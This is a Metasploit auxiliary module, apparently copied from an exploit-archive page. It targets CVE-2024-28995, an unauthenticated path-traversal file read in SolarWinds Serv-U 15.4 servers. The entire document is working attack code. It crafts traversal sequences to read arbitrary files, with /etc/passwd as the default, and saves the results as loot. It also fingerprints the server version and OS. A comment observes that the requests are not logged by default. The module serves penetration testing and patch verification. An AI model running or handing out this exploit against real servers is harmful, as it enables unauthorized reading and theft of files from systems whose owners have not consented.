## https://sploitus.com/exploit?id=PACKETSTORM:180707
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarWinds Serv-U Unauthenticated Arbitrary File Read',
'Description' => %q{
This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting
SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to
the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Module & Rapid7 Analysis
'Hussein Daher' # Original finder
],
'References' => [
['CVE', '2024-28995'],
['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995'],
['URL', 'https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis']
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
# There are no side effects I could determine. By default there is no logging enabled by Serv-U, and in
# testing I was not able to enable logging such that any of the exploits requests were actually logged. If
# a reverse proxy/gateway is in place that will likely be able to log attacker requests, but that is not a
# default setup.
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),
OptString.new('TARGETURI', [true, 'The base URI path to the web application', '/']),
OptString.new('TARGETFILE', [true, 'The full path of a target file to read.', '/etc/passwd']),
OptInt.new('PATH_TRAVERSAL_COUNT', [true, 'The number of double dot (..) path segments needed to traverse to the root folder.', 4]),
]
)
end
def check
# We try to leverage the vulnerability and read the file `Serv-U-StartupLog.txt` from the default location in
# a default install on both Linux and Windows. If successful, we can pull out the Serv-U version number and the
# OS version. By default, the location of the `Serv-U-StartupLog.txt` file is
# `C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt` on Windows, and `/usr/local/Serv-U/Serv-U-StartupLog.txt`
# on Linux.
default_paths = [
'\\..',
'/../../../../ProgramData/RhinoSoft/Serv-U'
]
default_paths.each do |default_path|
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'InternalDir' => default_path,
'InternalFile' => 'Serv-U-StartupLog.txt'
}
)
return Msf::Exploit::CheckCode::Unknown('Connection failed') unless res
next unless res.code == 200
version = res.body.match(/Serv-U.+Version.+\(([\d+.]{1,})\)/)
next unless version
os = res.body.match(/Operating System:\s+(.+)/)
return Msf::Exploit::CheckCode::Vulnerable("SolarWinds Serv-U version #{version[1]} (#{os.nil? ? 'Unknown OS' : os[1]})")
end
Msf::Exploit::CheckCode::Safe
end
def run
if datastore['TARGETFILE'].start_with? '/'
native_path_sep = '/'
target_path_sep = '\\'
target_filepath = datastore['TARGETFILE']
elsif datastore['TARGETFILE'][1, 3] == ':\\\\'
native_path_sep = '\\'
target_path_sep = '/'
target_filepath = datastore['TARGETFILE'][3..]
else
fail_with(Failure::BadConfig, 'Ensure the TARGETFILE path starts with / for a Linux target, and C:\\\\ for a Windows target.')
end
# On Windows, the default install directory is: C:\ProgramData\RhinoSoft\Serv-U\
# On Linux, the default install directory is: /usr/local/Serv-U/
# The Serv-U service, will read files from the Client directory, so /usr/local/Serv-U/Client/ on Linux
# and C:\ProgramData\RhinoSoft\Serv-U\Client\ on Windows.
# Therefore to leverage the directory traversal and navigate to the root folder on either platform will require
# 4 double dot path segments.
# We expose PATH_TRAVERSAL_COUNT to the user in case they are targeting a non default install location.
path_traversal = "#{target_path_sep}.." * datastore['PATH_TRAVERSAL_COUNT']
last_sep_pos = target_filepath.rindex(native_path_sep)
fail_with(Failure::BadConfig, 'Could not locate a path separator in the TARGETFILE path') unless last_sep_pos
if last_sep_pos == 0
internal_dir = ''
else
internal_dir = target_filepath[0..last_sep_pos - 1].gsub(native_path_sep, target_path_sep)
end
internal_file = target_filepath[last_sep_pos + 1..]
print_status("Reading file #{datastore['TARGETFILE']}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'InternalDir' => path_traversal << internal_dir,
'InternalFile' => internal_file
}
)
fail_with(Failure::UnexpectedReply, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected response from server. HTTP code #{res.code}.") unless res.code == 200
if datastore['STORE_LOOT']
print_status('Storing the file data to loot...')
store_loot(
internal_file,
res.body.ascii_only? ? 'text/plain' : 'application/octet-stream',
datastore['RHOST'],
res.body,
datastore['TARGETFILE'],
'File read from SolarWinds Serv-U server'
)
else
print_line(res.body)
end
end
end